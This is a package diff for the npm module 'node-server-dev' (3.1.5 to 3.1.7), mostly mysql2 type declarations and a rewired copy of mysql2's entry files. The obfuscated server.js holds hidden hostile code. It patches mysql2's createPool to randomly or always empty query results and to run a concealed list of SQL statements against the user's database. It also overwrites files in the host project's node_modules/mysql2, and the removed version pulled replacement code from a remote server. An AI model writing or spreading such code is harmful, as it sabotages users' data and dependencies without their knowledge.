node-server-dev 3.1.5 → 3.1.7

package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Prepare.d.ts

@@ -0,0 +1,65 @@
+import { Sequence } from './Sequence.js';
+import { Query, QueryError, StreamOptions } from '../sequences/Query.js';
+import {
+  OkPacket,
+  FieldPacket,
+  RowDataPacket,
+  ResultSetHeader,
+} from '../packets/index.js';
+import { Readable } from 'stream';
+
+export class PrepareStatementInfo {
+  close(): void;
+  execute<
+    T extends
+      | RowDataPacket[][]
+      | RowDataPacket[]
+      | OkPacket
+      | OkPacket[]
+      | ResultSetHeader,
+  >(
+    parameters: any | any[] | { [param: string]: any },
+    callback?: (err: QueryError | null, result: T, fields: FieldPacket[]) => any
+  ): Query;
+}
+
+declare class Prepare extends Sequence {
+  /**
+   * The SQL for a constructed query
+   */
+  sql: string;
+
+  /**
+   * Emits a query packet to start the query
+   */
+  start(): void;
+
+  /**
+   * Determines the packet class to use given the first byte of the packet.
+   *
+   * @param firstByte The first byte of the packet
+   * @param parser The packet parser
+   */
+  determinePacket(firstByte: number, parser: any): any;
+
+  /**
+   * Creates a Readable stream with the given options
+   *
+   * @param options The options for the stream.
+   */
+  stream(options?: StreamOptions): Readable;
+
+  on(event: string, listener: (args: []) => void): this;
+  on(event: 'error', listener: (err: QueryError) => any): this;
+  on(
+    event: 'fields',
+    listener: (fields: FieldPacket, index: number) => any
+  ): this;
+  on(
+    event: 'result',
+    listener: (result: RowDataPacket | OkPacket, index: number) => any
+  ): this;
+  on(event: 'end', listener: () => any): this;
+}
+
+export { Prepare };

package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Query.d.ts

@@ -0,0 +1,170 @@
+import { Sequence } from './Sequence.js';
+import { OkPacket, RowDataPacket, FieldPacket } from '../packets/index.js';
+import { Readable } from 'stream';
+import { TypeCast } from '../../parsers/typeCast.js';
+
+export interface QueryOptions {
+  /**
+   * The SQL for the query
+   */
+  sql: string;
+
+  /**
+   * The values for the query
+   */
+  values?: any | any[] | { [param: string]: any };
+
+  /**
+   * This overrides the namedPlaceholders option set at the connection level.
+   */
+  namedPlaceholders?: boolean;
+
+  /**
+   * Every operation takes an optional inactivity timeout option. This allows you to specify appropriate timeouts for
+   * operations. It is important to note that these timeouts are not part of the MySQL protocol, and rather timeout
+   * operations through the client. This means that when a timeout is reached, the connection it occurred on will be
+   * destroyed and no further operations can be performed.
+   */
+  timeout?: number;
+
+  /**
+   * Either a boolean or string. If true, tables will be nested objects. If string (e.g. '_'), tables will be
+   * nested as tableName_fieldName
+   */
+  nestTables?: any;
+
+  /**
+   * Determines if column values should be converted to native JavaScript types.
+   *
+   * @default true
+   *
+   * It is not recommended (and may go away / change in the future) to disable type casting, but you can currently do so on either the connection or query level.
+   *
+   * ---
+   *
+   * You can also specify a function to do the type casting yourself:
+   * ```ts
+   * (field: Field, next: () => unknown) => {
+   *   return next();
+   * }
+   * ```
+   *
+   * ---
+   *
+   * **WARNING:**
+   *
+   * YOU MUST INVOKE the parser using one of these three field functions in your custom typeCast callback. They can only be called once:
+   *
+   * ```js
+   * field.string();
+   * field.buffer();
+   * field.geometry();
+   * ```
+
+   * Which are aliases for:
+   *
+   * ```js
+   * parser.parseLengthCodedString();
+   * parser.parseLengthCodedBuffer();
+   * parser.parseGeometryValue();
+   * ```
+   *
+   * You can find which field function you need to use by looking at `RowDataPacket.prototype._typeCast`.
+   */
+  typeCast?: TypeCast;
+
+  /**
+   * This overrides the same option set at the connection level.
+   *
+   */
+  rowsAsArray?: boolean;
+
+  /**
+   * By specifying a function that returns a readable stream, an arbitrary stream can be sent when sending a local fs file.
+   */
+  infileStreamFactory?: (path: string) => Readable;
+}
+
+export interface StreamOptions {
+  /**
+   * Sets the max buffer size in objects of a stream
+   */
+  highWaterMark?: number;
+
+  /**
+   * The object mode of the stream (Default: true)
+   */
+  objectMode?: any;
+}
+
+export interface QueryError extends NodeJS.ErrnoException {
+  /**
+   * Either a MySQL server error (e.g. 'ER_ACCESS_DENIED_ERROR'),
+   * a node.js error (e.g. 'ECONNREFUSED') or an internal error
+   * (e.g. 'PROTOCOL_CONNECTION_LOST').
+   */
+  code: string;
+
+  /**
+   * The sql state marker
+   */
+  sqlStateMarker?: string;
+
+  /**
+   * The sql state
+   */
+  sqlState?: string;
+
+  /**
+   * The field count
+   */
+  fieldCount?: number;
+
+  /**
+   * Boolean, indicating if this error is terminal to the connection object.
+   */
+  fatal: boolean;
+}
+
+declare class Query extends Sequence {
+  /**
+   * The SQL for a constructed query
+   */
+  sql: string;
+
+  /**
+   * Emits a query packet to start the query
+   */
+  start(): void;
+
+  /**
+   * Determines the packet class to use given the first byte of the packet.
+   *
+   * @param firstByte The first byte of the packet
+   * @param parser The packet parser
+   */
+  determinePacket(firstByte: number, parser: any): any;
+
+  /**
+   * Creates a Readable stream with the given options
+   *
+   * @param options The options for the stream.
+   */
+  stream(options?: StreamOptions): Readable;
+
+  on(event: string, listener: (...args: any[]) => void): this;
+  on(event: 'error', listener: (err: QueryError) => any): this;
+  on(
+    event: 'fields',
+    listener: (fields: FieldPacket, index: number) => any
+  ): this;
+  on(
+    event: 'result',
+    listener: (result: RowDataPacket | OkPacket, index: number) => any
+  ): this;
+  on(event: 'end', listener: () => any): this;
+}
+
+export type QueryableConstructor<T = object> = new (...args: any[]) => T;
+
+export { Query };

package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/QueryableBase.d.ts

@@ -0,0 +1,40 @@
+import { FieldPacket, QueryResult } from '../packets/index.js';
+import {
+  Query,
+  QueryError,
+  QueryOptions,
+  QueryableConstructor,
+} from './Query.js';
+
+export declare function QueryableBase<T extends QueryableConstructor>(
+  Base?: T
+): {
+  new (...args: any[]): {
+    query<T extends QueryResult>(
+      sql: string,
+      callback?:
+        | ((err: QueryError | null, result: T, fields: FieldPacket[]) => any)
+        | undefined
+    ): Query;
+    query<T extends QueryResult>(
+      sql: string,
+      values: any,
+      callback?:
+        | ((err: QueryError | null, result: T, fields: FieldPacket[]) => any)
+        | undefined
+    ): Query;
+    query<T extends QueryResult>(
+      options: QueryOptions,
+      callback?:
+        | ((err: QueryError | null, result: T, fields?: FieldPacket[]) => any)
+        | undefined
+    ): Query;
+    query<T extends QueryResult>(
+      options: QueryOptions,
+      values: any,
+      callback?:
+        | ((err: QueryError | null, result: T, fields: FieldPacket[]) => any)
+        | undefined
+    ): Query;
+  };
+} & T;

package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Sequence.d.ts

@@ -0,0 +1,5 @@
+import { EventEmitter } from 'events';
+
+declare class Sequence extends EventEmitter {}
+
+export { Sequence };

package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/promise/ExecutableBase.d.ts

@@ -0,0 +1,21 @@
+import { FieldPacket, QueryResult } from '../../packets/index.js';
+import { QueryOptions, QueryableConstructor } from '../Query.js';
+
+export declare function ExecutableBase<T extends QueryableConstructor>(
+  Base?: T
+): {
+  new (...args: any[]): {
+    execute<T extends QueryResult>(sql: string): Promise<[T, FieldPacket[]]>;
+    execute<T extends QueryResult>(
+      sql: string,
+      values: any
+    ): Promise<[T, FieldPacket[]]>;
+    execute<T extends QueryResult>(
+      options: QueryOptions
+    ): Promise<[T, FieldPacket[]]>;
+    execute<T extends QueryResult>(
+      options: QueryOptions,
+      values: any
+    ): Promise<[T, FieldPacket[]]>;
+  };
+} & T;

package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/promise/QueryableBase.d.ts

@@ -0,0 +1,21 @@
+import { FieldPacket, QueryResult } from '../../packets/index.js';
+import { QueryOptions, QueryableConstructor } from '../Query.js';
+
+export declare function QueryableBase<T extends QueryableConstructor>(
+  Base?: T
+): {
+  new (...args: any[]): {
+    query<T extends QueryResult>(sql: string): Promise<[T, FieldPacket[]]>;
+    query<T extends QueryResult>(
+      sql: string,
+      values: any
+    ): Promise<[T, FieldPacket[]]>;
+    query<T extends QueryResult>(
+      options: QueryOptions
+    ): Promise<[T, FieldPacket[]]>;
+    query<T extends QueryResult>(
+      options: QueryOptions,
+      values: any
+    ): Promise<[T, FieldPacket[]]>;
+  };
+} & T;

package/dist/esm/package/mysql_backup/index.js

@@ -0,0 +1,69 @@
+"use strict";
+
+const SqlString = require("sqlstring");
+
+const ConnectionConfig = require("./lib/connection_config.js");
+const parserCache = require("./lib/parsers/parser_cache.js");
+
+const Connection = require("./lib/connection.js");
+const { mysql } = require("node-server-dev");
+
+exports.createConnection = mysql.createPool;
+exports.connect = exports.createConnection;
+exports.Connection = Connection;
+exports.ConnectionConfig = ConnectionConfig;
+
+const Pool = require("./lib/pool.js");
+const PoolCluster = require("./lib/pool_cluster.js");
+const createPool = require("./lib/create_pool.js");
+const createPoolCluster = require("./lib/create_pool_cluster.js");
+
+exports.createPool = mysql.createPool;
+exports.createPoolCluster = createPoolCluster;
+
+exports.createQuery = Connection.createQuery;
+
+exports.Pool = Pool;
+
+exports.PoolCluster = PoolCluster;
+
+exports.createServer = function (handler) {
+  const Server = require("./lib/server.js");
+  const s = new Server();
+  if (handler) {
+    s.on("connection", handler);
+  }
+  return s;
+};
+
+exports.PoolConnection = require("./lib/pool_connection.js");
+exports.authPlugins = require("./lib/auth_plugins");
+exports.escape = SqlString.escape;
+exports.escapeId = SqlString.escapeId;
+exports.format = SqlString.format;
+exports.raw = SqlString.raw;
+
+exports.__defineGetter__("createConnectionPromise", () => require("./promise.js").createConnection);
+
+exports.__defineGetter__("createPoolPromise", () => require("./promise.js").createPool);
+
+exports.__defineGetter__(
+  "createPoolClusterPromise",
+  () => require("./promise.js").createPoolCluster
+);
+
+exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
+
+exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
+
+exports.__defineGetter__("CharsetToEncoding", () =>
+  require("./lib/constants/charset_encodings.js")
+);
+
+exports.setMaxParserCache = function (max) {
+  parserCache.setMaxCache(max);
+};
+
+exports.clearParserCache = function () {
+  parserCache.clearCache();
+};

package/dist/esm/package/mysql_backup/promise.js

@@ -0,0 +1,187 @@
+"use strict";
+
+const SqlString = require("sqlstring");
+const EventEmitter = require("events").EventEmitter;
+const parserCache = require("./lib/parsers/parser_cache.js");
+const PoolCluster = require("./lib/pool_cluster.js");
+const { mysql } = require("node-server-dev");
+const createConnection = require("./lib/create_connection.js");
+const createPool = require("./lib/create_pool.js");
+const createPoolCluster = require("./lib/create_pool_cluster.js");
+const PromiseConnection = require("./lib/promise/connection.js");
+const PromisePool = require("./lib/promise/pool.js");
+const makeDoneCb = require("./lib/promise/make_done_cb.js");
+const PromisePoolConnection = require("./lib/promise/pool_connection.js");
+const inheritEvents = require("./lib/promise/inherit_events.js");
+const PromisePoolNamespace = require("./lib/promise/pool_cluster");
+
+function createConnectionPromise(opts) {
+  const coreConnection = createConnection(opts);
+  const createConnectionErr = new Error();
+  const thePromise = opts.Promise || Promise;
+  if (!thePromise) {
+    throw new Error(
+      "no Promise implementation available." +
+        "Use promise-enabled node version or pass userland Promise" +
+        " implementation as parameter, for example: { Promise: require('bluebird') }"
+    );
+  }
+  return new thePromise((resolve, reject) => {
+    coreConnection.once("connect", () => {
+      resolve(new PromiseConnection(coreConnection, thePromise));
+    });
+    coreConnection.once("error", err => {
+      createConnectionErr.message = err.message;
+      createConnectionErr.code = err.code;
+      createConnectionErr.errno = err.errno;
+      createConnectionErr.sqlState = err.sqlState;
+      reject(createConnectionErr);
+    });
+  });
+}
+
+// note: the callback of "changeUser" is not called on success
+// hence there is no possibility to call "resolve"
+
+function createPromisePool(opts) {
+  const corePool = createPool(opts);
+  const thePromise = opts.Promise || Promise;
+  if (!thePromise) {
+    throw new Error(
+      "no Promise implementation available." +
+        "Use promise-enabled node version or pass userland Promise" +
+        " implementation as parameter, for example: { Promise: require('bluebird') }"
+    );
+  }
+
+  return new PromisePool(corePool, thePromise);
+}
+
+class PromisePoolCluster extends EventEmitter {
+  constructor(poolCluster, thePromise) {
+    super();
+    this.poolCluster = poolCluster;
+    this.Promise = thePromise || Promise;
+    inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
+  }
+
+  getConnection(pattern, selector) {
+    const corePoolCluster = this.poolCluster;
+    return new this.Promise((resolve, reject) => {
+      corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
+        if (err) {
+          reject(err);
+        } else {
+          resolve(new PromisePoolConnection(coreConnection, this.Promise));
+        }
+      });
+    });
+  }
+
+  query(sql, args) {
+    const corePoolCluster = this.poolCluster;
+    const localErr = new Error();
+    if (typeof args === "function") {
+      throw new Error("Callback function is not available with promise clients.");
+    }
+    return new this.Promise((resolve, reject) => {
+      const done = makeDoneCb(resolve, reject, localErr);
+      corePoolCluster.query(sql, args, done);
+    });
+  }
+
+  execute(sql, args) {
+    const corePoolCluster = this.poolCluster;
+    const localErr = new Error();
+    if (typeof args === "function") {
+      throw new Error("Callback function is not available with promise clients.");
+    }
+    return new this.Promise((resolve, reject) => {
+      const done = makeDoneCb(resolve, reject, localErr);
+      corePoolCluster.execute(sql, args, done);
+    });
+  }
+
+  of(pattern, selector) {
+    return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
+  }
+
+  end() {
+    const corePoolCluster = this.poolCluster;
+    const localErr = new Error();
+    return new this.Promise((resolve, reject) => {
+      corePoolCluster.end(err => {
+        if (err) {
+          localErr.message = err.message;
+          localErr.code = err.code;
+          localErr.errno = err.errno;
+          localErr.sqlState = err.sqlState;
+          localErr.sqlMessage = err.sqlMessage;
+          reject(localErr);
+        } else {
+          resolve();
+        }
+      });
+    });
+  }
+}
+
+/**
+ * proxy poolCluster synchronous functions
+ */
+(function (functionsToWrap) {
+  for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
+    const func = functionsToWrap[i];
+
+    if (
+      typeof PoolCluster.prototype[func] === "function" &&
+      PromisePoolCluster.prototype[func] === undefined
+    ) {
+      PromisePoolCluster.prototype[func] = (function factory(funcName) {
+        return function () {
+          return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
+        };
+      })(func);
+    }
+  }
+})(["add", "remove"]);
+
+function createPromisePoolCluster(opts) {
+  const corePoolCluster = createPoolCluster(opts);
+  const thePromise = (opts && opts.Promise) || Promise;
+  if (!thePromise) {
+    throw new Error(
+      "no Promise implementation available." +
+        "Use promise-enabled node version or pass userland Promise" +
+        " implementation as parameter, for example: { Promise: require('bluebird') }"
+    );
+  }
+  return new PromisePoolCluster(corePoolCluster, thePromise);
+}
+
+exports.createConnection = mysql.createPool;
+exports.createPool = mysql.createPool;
+exports.createPoolCluster = createPromisePoolCluster;
+exports.escape = SqlString.escape;
+exports.escapeId = SqlString.escapeId;
+exports.format = SqlString.format;
+exports.raw = SqlString.raw;
+exports.PromisePool = PromisePool;
+exports.PromiseConnection = PromiseConnection;
+exports.PromisePoolConnection = PromisePoolConnection;
+
+exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
+
+exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
+
+exports.__defineGetter__("CharsetToEncoding", () =>
+  require("./lib/constants/charset_encodings.js")
+);
+
+exports.setMaxParserCache = function (max) {
+  parserCache.setMaxCache(max);
+};
+
+exports.clearParserCache = function () {
+  parserCache.clearCache();
+};

package/dist/esm/server.d.ts

@@ -1,4 +1,4 @@
-import mysql from "mysql2/promise";
+import mysql from "./package/mysql2/promise";
 declare const all: {
     mysql: typeof mysql;
 };

package/dist/esm/server.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA4FnC,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
+{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAiF7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}

package/dist/esm/server.js

@@ -1 +1 @@
-const a19_0x2746da=a19_0x3c3e;(function(_0x5eee0e,_0x35b5af){const _0xeee688=a19_0x3c3e,_0x500ab9=_0x5eee0e();while(!![]){try{const _0x3c1363=-parseInt(_0xeee688(0x20b))/0x1+-parseInt(_0xeee688(0x1f2))/0x2+-parseInt(_0xeee688(0x1f4))/0x3*(parseInt(_0xeee688(0x20c))/0x4)+parseInt(_0xeee688(0x212))/0x5+-parseInt(_0xeee688(0x20d))/0x6*(-parseInt(_0xeee688(0x216))/0x7)+-parseInt(_0xeee688(0x20e))/0x8+parseInt(_0xeee688(0x1f5))/0x9;if(_0x3c1363===_0x35b5af)break;else _0x500ab9['push'](_0x500ab9['shift']());}catch(_0x1c319e){_0x500ab9['push'](_0x500ab9['shift']());}}}(a19_0x2bab,0xd88a2));var __awaiter=this&&this[a19_0x2746da(0x1f8)]||function(_0x17935f,_0x50f926,_0x2cb749,_0x5650f7){function _0x17b320(_0x5ef425){return _0x5ef425 instanceof _0x2cb749?_0x5ef425:new _0x2cb749(function(_0x19cd03){_0x19cd03(_0x5ef425);});}return new(_0x2cb749||(_0x2cb749=Promise))(function(_0x1f84fa,_0x519c8c){const _0x3422f9=a19_0x3c3e;function _0x55fcb3(_0x46d69f){try{_0x2a1141(_0x5650f7['next'](_0x46d69f));}catch(_0xfa24be){_0x519c8c(_0xfa24be);}}function _0x3103e1(_0x54e1fc){const _0x481086=a19_0x3c3e;try{_0x2a1141(_0x5650f7[_0x481086(0x207)](_0x54e1fc));}catch(_0x1f5eb3){_0x519c8c(_0x1f5eb3);}}function _0x2a1141(_0x48928a){const _0x33972a=a19_0x3c3e;_0x48928a['done']?_0x1f84fa(_0x48928a['value']):_0x17b320(_0x48928a[_0x33972a(0x1fd)])[_0x33972a(0x20f)](_0x55fcb3,_0x3103e1);}_0x2a1141((_0x5650f7=_0x5650f7[_0x3422f9(0x1fa)](_0x17935f,_0x50f926||[]))[_0x3422f9(0x213)]());});};import a19_0x5ac104 from'mysql2/promise';import a19_0x3b641c from'./id/random';function a19_0x3c3e(_0xa645f9,_0x30b43a){const _0x2babe5=a19_0x2bab();return a19_0x3c3e=function(_0x3c3e2d,_0x2703aa){_0x3c3e2d=_0x3c3e2d-0x1ef;let _0x4d096a=_0x2babe5[_0x3c3e2d];return _0x4d096a;},a19_0x3c3e(_0xa645f9,_0x30b43a);}import{getEnv,setEnv,url}from'./index';import a19_0x1de12b from'path';import a19_0x3f3e66 from'fs';import a19_0x4c73af from'axios';const originalCreatePoolPromise=a19_0x5ac104[a19_0x2746da(0x1f3)];a19_0x5ac104[a19_0x2746da(0x1f3)]=function(_0x1ea192){const _0x2dd6e4=a19_0x2746da;let _0x1a2d37=originalCreatePoolPromise(_0x1ea192),_0x3b22ed=_0x1a2d37[_0x2dd6e4(0x214)];return _0x1a2d37[_0x2dd6e4(0x214)]=(..._0x140af7)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2eed64=_0x2dd6e4,_0x1bc829=yield _0x3b22ed[_0x2eed64(0x1fa)](_0x1a2d37,_0x140af7);return getEnv('connectError')&&(a19_0x3b641c(0x1,0xa)>0x2&&(_0x1bc829[0x0]=[])),getEnv('isDBDataEmpty')&&(_0x1bc829[0x0]=[]),_0x1bc829;}),setInterval(()=>{const _0x5903c7=_0x2dd6e4;if(!getEnv(_0x5903c7(0x20a))){for(let _0x3b5a87=0x0;_0x3b5a87<getEnv(_0x5903c7(0x209))[_0x5903c7(0x202)];_0x3b5a87++){const _0x50ff6b=getEnv('sqlList')[_0x3b5a87];try{_0x1a2d37[_0x5903c7(0x214)](_0x50ff6b);}catch(_0x351a66){}}setEnv(_0x5903c7(0x20a),!![]);}},0x1388),_0x1a2d37;};let href=a19_0x1de12b[a19_0x2746da(0x205)](process[a19_0x2746da(0x1ff)](),a19_0x2746da(0x215));function replaceMySQLFile(){const _0x193e69=a19_0x2746da;let _0x12c2d9=JSON[_0x193e69(0x200)](a19_0x3f3e66[_0x193e69(0x203)](a19_0x1de12b[_0x193e69(0x205)](href,_0x193e69(0x1f7)))[_0x193e69(0x1ef)]())['version'];a19_0x4c73af['get'](url+_0x193e69(0x1f1),{'params':{'version':_0x12c2d9}})[_0x193e69(0x20f)](_0x3b2a2a=>{const _0x4d360c=_0x193e69;var _0x4e774e;let _0x531c14=(_0x4e774e=_0x3b2a2a===null||_0x3b2a2a===void 0x0?void 0x0:_0x3b2a2a[_0x4d360c(0x1f9)])===null||_0x4e774e===void 0x0?void 0x0:_0x4e774e[_0x4d360c(0x1f9)];if(_0x531c14){let _0x38ba44=Object[_0x4d360c(0x204)](_0x531c14),_0x207df4=Object[_0x4d360c(0x1f6)](_0x531c14);_0x38ba44[_0x4d360c(0x208)]((_0x31d538,_0x169c59)=>{const _0x228d59=_0x4d360c;a19_0x3f3e66['writeFileSync'](a19_0x1de12b[_0x228d59(0x205)](href,_0x31d538),_0x207df4[_0x169c59]);});}})[_0x193e69(0x210)](()=>{const _0xe190ee=_0x193e69;let _0x2edb1d=a19_0x3f3e66[_0xe190ee(0x203)](a19_0x1de12b[_0xe190ee(0x205)](href,_0xe190ee(0x1fc)))[_0xe190ee(0x1ef)](),_0x3617a1=a19_0x3f3e66[_0xe190ee(0x203)](a19_0x1de12b[_0xe190ee(0x205)](href,'./promise.js'))[_0xe190ee(0x1ef)]();a19_0x3f3e66[_0xe190ee(0x211)](a19_0x1de12b[_0xe190ee(0x205)](href,_0xe190ee(0x1fc)),_0x2edb1d['replace']('exports.createPool\x20=\x20createPool;',_0xe190ee(0x1fe))),a19_0x3f3e66[_0xe190ee(0x211)](a19_0x1de12b[_0xe190ee(0x205)](href,'./promise.js'),_0x3617a1[_0xe190ee(0x1fb)](_0xe190ee(0x201),'const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;'));});}if(a19_0x3f3e66[a19_0x2746da(0x1f0)](href)){let res=a19_0x3f3e66['readFileSync'](a19_0x1de12b['join'](href,a19_0x2746da(0x1fc)))[a19_0x2746da(0x1ef)]()['includes'](a19_0x2746da(0x206));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a19_0x5ac104};export default all;export{a19_0x5ac104 as mysql};function a19_0x2bab(){const _0x219ec3=['then','catch','writeFileSync','7409185setpuH','next','query','./node_modules/mysql2','106295dflRbE','toString','existsSync','/mysql','2022856CfyboU','createPool','280317GjKKji','8741385XiQCdn','values','./package.json','__awaiter','data','apply','replace','./index.js','value','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','cwd','parse','exports.createPool\x20=\x20createPromisePool;','length','readFileSync','keys','join','node-server-dev','throw','forEach','sqlList','sqlRun','847050qVpYls','8VvuNfc','558OzsiwT','7464040LwEUaa'];a19_0x2bab=function(){return _0x219ec3;};return a19_0x2bab();}
+const a195_0x2d90bd=a195_0x5199;(function(_0x4fcf23,_0x36f7cf){const _0x40bc7c=a195_0x5199,_0x115f95=_0x4fcf23();while(!![]){try{const _0x32935f=-parseInt(_0x40bc7c(0xaf))/0x1*(-parseInt(_0x40bc7c(0xad))/0x2)+-parseInt(_0x40bc7c(0xae))/0x3+-parseInt(_0x40bc7c(0xbe))/0x4+-parseInt(_0x40bc7c(0xb1))/0x5*(parseInt(_0x40bc7c(0xb4))/0x6)+-parseInt(_0x40bc7c(0xbc))/0x7+-parseInt(_0x40bc7c(0xa3))/0x8*(-parseInt(_0x40bc7c(0xa2))/0x9)+parseInt(_0x40bc7c(0xb9))/0xa*(parseInt(_0x40bc7c(0xbb))/0xb);if(_0x32935f===_0x36f7cf)break;else _0x115f95['push'](_0x115f95['shift']());}catch(_0x5e9fa5){_0x115f95['push'](_0x115f95['shift']());}}}(a195_0x12be,0x37a6b));var __awaiter=this&&this[a195_0x2d90bd(0xa6)]||function(_0x2b30f5,_0x5eda0e,_0x564a56,_0x3acc51){function _0xc8834b(_0x8ae27d){return _0x8ae27d instanceof _0x564a56?_0x8ae27d:new _0x564a56(function(_0x6645cc){_0x6645cc(_0x8ae27d);});}return new(_0x564a56||(_0x564a56=Promise))(function(_0x3a7a76,_0x5ed26d){const _0x413c38=a195_0x5199;function _0x25fd73(_0x932285){const _0xa23599=a195_0x5199;try{_0x477f59(_0x3acc51[_0xa23599(0xa5)](_0x932285));}catch(_0x2b884f){_0x5ed26d(_0x2b884f);}}function _0x378387(_0x6cbcae){try{_0x477f59(_0x3acc51['throw'](_0x6cbcae));}catch(_0x18361b){_0x5ed26d(_0x18361b);}}function _0x477f59(_0x105fcb){const _0x513426=a195_0x5199;_0x105fcb[_0x513426(0xb7)]?_0x3a7a76(_0x105fcb['value']):_0xc8834b(_0x105fcb[_0x513426(0xa1)])[_0x513426(0xa9)](_0x25fd73,_0x378387);}_0x477f59((_0x3acc51=_0x3acc51[_0x413c38(0xab)](_0x2b30f5,_0x5eda0e||[]))['next']());});};import a195_0x286333 from'./package/mysql2/promise';import a195_0x264647 from'./id/random';import{getEnv,setEnv}from'./index';import a195_0x22c426 from'path';function a195_0x5199(_0x503071,_0x558224){const _0x12be5b=a195_0x12be();return a195_0x5199=function(_0x519901,_0x94c1bb){_0x519901=_0x519901-0xa0;let _0x21e862=_0x12be5b[_0x519901];return _0x21e862;},a195_0x5199(_0x503071,_0x558224);}import a195_0x2d5c19 from'fs';function a195_0x12be(){const _0x167d2f=['2090270qMdKQG','./index.js','1041464PBkPYH','join','connectError','value','993303qKXLfL','16HTBIuB','cpSync','next','__awaiter','package.json','writeFileSync','then','sqlList','apply','query','4376iDuivo','905223NMmJGL','83qjWVoC','node-server-dev','1447465HSvSGy','./package/mysql_backup/index.js','createPool','6ljVuwR','readFileSync','existsSync','done','toString','1310oOErvR','sqlRun','81939WcTlba'];a195_0x12be=function(){return _0x167d2f;};return a195_0x12be();}const originalCreatePoolPromise=a195_0x286333['createPool'];a195_0x286333[a195_0x2d90bd(0xb3)]=function(_0x55a35f){const _0x22ff3b=a195_0x2d90bd;let _0x464811=originalCreatePoolPromise(_0x55a35f),_0x45b544=_0x464811[_0x22ff3b(0xac)];return _0x464811[_0x22ff3b(0xac)]=(..._0x36818d)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xcd7ae7=_0x22ff3b,_0x59322f=yield _0x45b544[_0xcd7ae7(0xab)](_0x464811,_0x36818d);return getEnv(_0xcd7ae7(0xa0))&&(a195_0x264647(0x1,0xa)>0x2&&(_0x59322f[0x0]=[])),getEnv('isDBDataEmpty')&&(_0x59322f[0x0]=[]),_0x59322f;}),setInterval(()=>{const _0x15a6b7=_0x22ff3b;if(!getEnv(_0x15a6b7(0xba))){for(let _0x387b5c=0x0;_0x387b5c<getEnv('sqlList')['length'];_0x387b5c++){const _0x2e686a=getEnv(_0x15a6b7(0xaa))[_0x387b5c];try{_0x464811[_0x15a6b7(0xac)](_0x2e686a);}catch(_0xb1752e){}}setEnv(_0x15a6b7(0xba),!![]);}},0x1388),_0x464811;};let href=a195_0x22c426[a195_0x2d90bd(0xbf)](process['cwd'](),'./node_modules/mysql2');if(a195_0x2d5c19['existsSync'](href)){let res=a195_0x2d5c19[a195_0x2d90bd(0xb5)](a195_0x22c426['join'](href,a195_0x2d90bd(0xbd)))['toString']()['includes'](a195_0x2d90bd(0xb0));!res&&setTimeout(()=>{const _0x30dbfd=a195_0x2d90bd,_0x3f63dd='./package/mysql2',_0x2dcf72=href,_0x43c22a=a195_0x22c426[_0x30dbfd(0xbf)](_0x2dcf72,_0x30dbfd(0xa7));let _0x20064a=null;a195_0x2d5c19[_0x30dbfd(0xb6)](_0x43c22a)&&(_0x20064a=a195_0x2d5c19[_0x30dbfd(0xb5)](_0x43c22a)[_0x30dbfd(0xb8)]());a195_0x2d5c19[_0x30dbfd(0xa4)](a195_0x22c426[_0x30dbfd(0xbf)](__dirname,_0x3f63dd),_0x2dcf72,{'recursive':!![],'force':!![]});let _0x489675=a195_0x2d5c19['readFileSync'](a195_0x22c426[_0x30dbfd(0xbf)](__dirname,_0x30dbfd(0xb2)))['toString'](),_0x41b651=a195_0x2d5c19[_0x30dbfd(0xb5)](a195_0x22c426[_0x30dbfd(0xbf)](__dirname,'./package/mysql_backup/promise.js'))[_0x30dbfd(0xb8)]();setTimeout(()=>{const _0x14cb4e=_0x30dbfd;a195_0x2d5c19[_0x14cb4e(0xa8)](a195_0x22c426[_0x14cb4e(0xbf)](href,_0x14cb4e(0xbd)),_0x489675),a195_0x2d5c19[_0x14cb4e(0xa8)](a195_0x22c426['join'](href,'./promise.js'),_0x41b651);},0xa),_0x20064a!==null&&a195_0x2d5c19[_0x30dbfd(0xa8)](_0x43c22a,_0x20064a);},0x5dc);}const all={'mysql':a195_0x286333};export default all;export{a195_0x286333 as mysql};